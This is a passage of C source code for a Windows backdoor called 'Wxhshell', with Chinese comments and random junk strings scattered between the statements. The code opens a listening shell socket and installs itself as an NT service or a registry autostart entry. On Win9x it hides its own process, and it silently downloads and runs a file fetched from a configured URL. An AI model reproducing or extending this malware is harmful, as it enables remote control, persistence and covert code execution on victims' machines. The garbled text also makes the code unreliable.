p unsigned long cbNeeded; 5>CeFy --TH6j" if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n%;t Va g(s}R ? CloseHandle(hProcess); kO^ 2,B^OZmw if(strstr(procName,"services")) return 1; // 以服务启动 ~Ni-}p Ekrpg^3qp" return 0; // 注册表启动 W^ask[46R } 1 YtY= -V@ST9` // 主模块 ^iWGGnGS int StartWxhshell(LPSTR lpCmdLine) 5oYeUy>N { X2| Z! SOCKET wsl; `LIlR8&@aX BOOL val=TRUE; WTt
/y\'6 int port=0; K^GvU 0\ struct sockaddr_in door; iH]0
YT.E 1
rbc}e if(wscfg.ws_autoins) Install(); HlkjyD8 &.z-itiV port=atoi(lpCmdLine); 54TWFDmGi F/p1?1M if(port<=0) port=wscfg.ws_port; cMy?& FU}- .Ki WSADATA data; QJkiu8r if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F3Da-6T@ _3f/lG?&- if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;9=4]YZt setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G+C{_o#3 door.sin_family = AF_INET; Ssa/;O2 door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^dxy%*Z/ door.sin_port = htons(port); 5qqU8I "4smW>f:% if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e1bV& closesocket(wsl); e2;=OoBK return 1; @N>rOA } 2e ~RM2PQ HQ4WunH2Y if(listen(wsl,2) == INVALID_SOCKET) { AC fhy[, closesocket(wsl); WYCDEoqU2 return 1; D,-L!P } ZWx[@5 Wxhshell(wsl); QiRx2Z*\ WSACleanup(); !
c~3 `7v Z,XivU& return 0; FEa%wS{ #^i+'Z=L } cx)x="c J[K>)@I/ // 以NT服务方式启动 l>HB 0o VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ={ 190=\9 { ;lTgihW- DWORD status = 0; <_bGV DWORD specificError = 0xfffffff; t`\l+L }_Sgor83n serviceStatus.dwServiceType = SERVICE_WIN32; i~HS"n serviceStatus.dwCurrentState = SERVICE_START_PENDING; m Ub2U&6( serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W"xRf0\V serviceStatus.dwWin32ExitCode = 0; q> #P| serviceStatus.dwServiceSpecificExitCode = 0; D{[i_K serviceStatus.dwCheckPoint = 0; %-!:$ 1; serviceStatus.dwWaitHint = 0; /h&>tYVio ZhoB/TgdL hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OW> >6zM if (hServiceStatusHandle==0) return; iqXsDgkr tjm@+xs status = GetLastError(); Rg~[X5 if (status!=NO_ERROR) \nV oBW( { z5[Qh<M serviceStatus.dwCurrentState = SERVICE_STOPPED; 5M3)7 serviceStatus.dwCheckPoint = 0; i2Gh!5]f serviceStatus.dwWaitHint = 0; H{d/%}7[v serviceStatus.dwWin32ExitCode = status; U.WMu% serviceStatus.dwServiceSpecificExitCode = specificError; <lSo7NkR SetServiceStatus(hServiceStatusHandle, &serviceStatus); DB] ]6 return; d
k|X&)xTJ } [vCZD8"Y8 U:IeMf-; serviceStatus.dwCurrentState = SERVICE_RUNNING; :Sk<0VVd7 serviceStatus.dwCheckPoint = 0; 3_ =:^Z serviceStatus.dwWaitHint = 0; +n 8,=} if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O}Do4>02 } cC,gd\}M yLt?XhRlp // 处理NT服务事件,比如:启动、停止 Rmh,P > VOID WINAPI NTServiceHandler(DWORD fdwControl) <,T#* fg { U3c !*i switch(fdwControl) yucbEDO. { >LR+dShG case SERVICE_CONTROL_STOP: R&}{_1dj8 serviceStatus.dwWin32ExitCode = 0; Z:MU5(Te serviceStatus.dwCurrentState = SERVICE_STOPPED; pC)S9Kl serviceStatus.dwCheckPoint = 0; YH!` uU(Lh serviceStatus.dwWaitHint = 0; b@[5xv\J { RAEiIf!3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); _P]k6z+ } jCt[I5"+z return; &4L+[M{J@4 case SERVICE_CONTROL_PAUSE: oX1{~lDJl serviceStatus.dwCurrentState = SERVICE_PAUSED; Aa%ks+1 break; ds
QGj& case SERVICE_CONTROL_CONTINUE: fbW#6:Y serviceStatus.dwCurrentState = SERVICE_RUNNING; Wuji'sxTs break; W&a<Q)o*I case SERVICE_CONTROL_INTERROGATE: {D&:^f break; K:sC6|wG }; 1FC1*7A[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9hs7B!3pc> } !1?Nc}T0Q& *
@j#13. // 标准应用程序主函数 ( KG>lTdN int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K fNR)
{ s^AZ)k~J( ?Wp{tB9N0 // 获取操作系统版本 noNL.%I OsIsNt=GetOsVer(); ~7=w,+ GetModuleFileName(NULL,ExeFile,MAX_PATH); Wv)2dD2I C[(Exe // 从命令行安装 $;+`sVG if(strpbrk(lpCmdLine,"iI")) Install(); o//PlG~ V0
OT _F // 下载执行文件 jvos)$;L- if(wscfg.ws_downexe) { utwqP~ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nbz?D_ WinExec(wscfg.ws_filenam,SW_HIDE); Rs%6O|u7 } {mV,bg,}~ c7N`W}BZ if(!OsIsNt) { -n$fh::^ // 如果时win9x,隐藏进程并且设置为注册表启动 +2]{%= HideProc(); s"]LQM1| StartWxhshell(lpCmdLine); ;-65~i0Iu } 7":0CU%% else !~k-Sexh if(StartFromService()) <%rG*vzi // 以服务方式启动 ^k?Ig.m StartServiceCtrlDispatcher(DispatchTable); WAcQRa~C else 2myHn/%C // 普通方式启动 Z$5@r2d) StartWxhshell(lpCmdLine); 9Q%Fel. /ZKO\q return 0; ojd/%@+u+Y }
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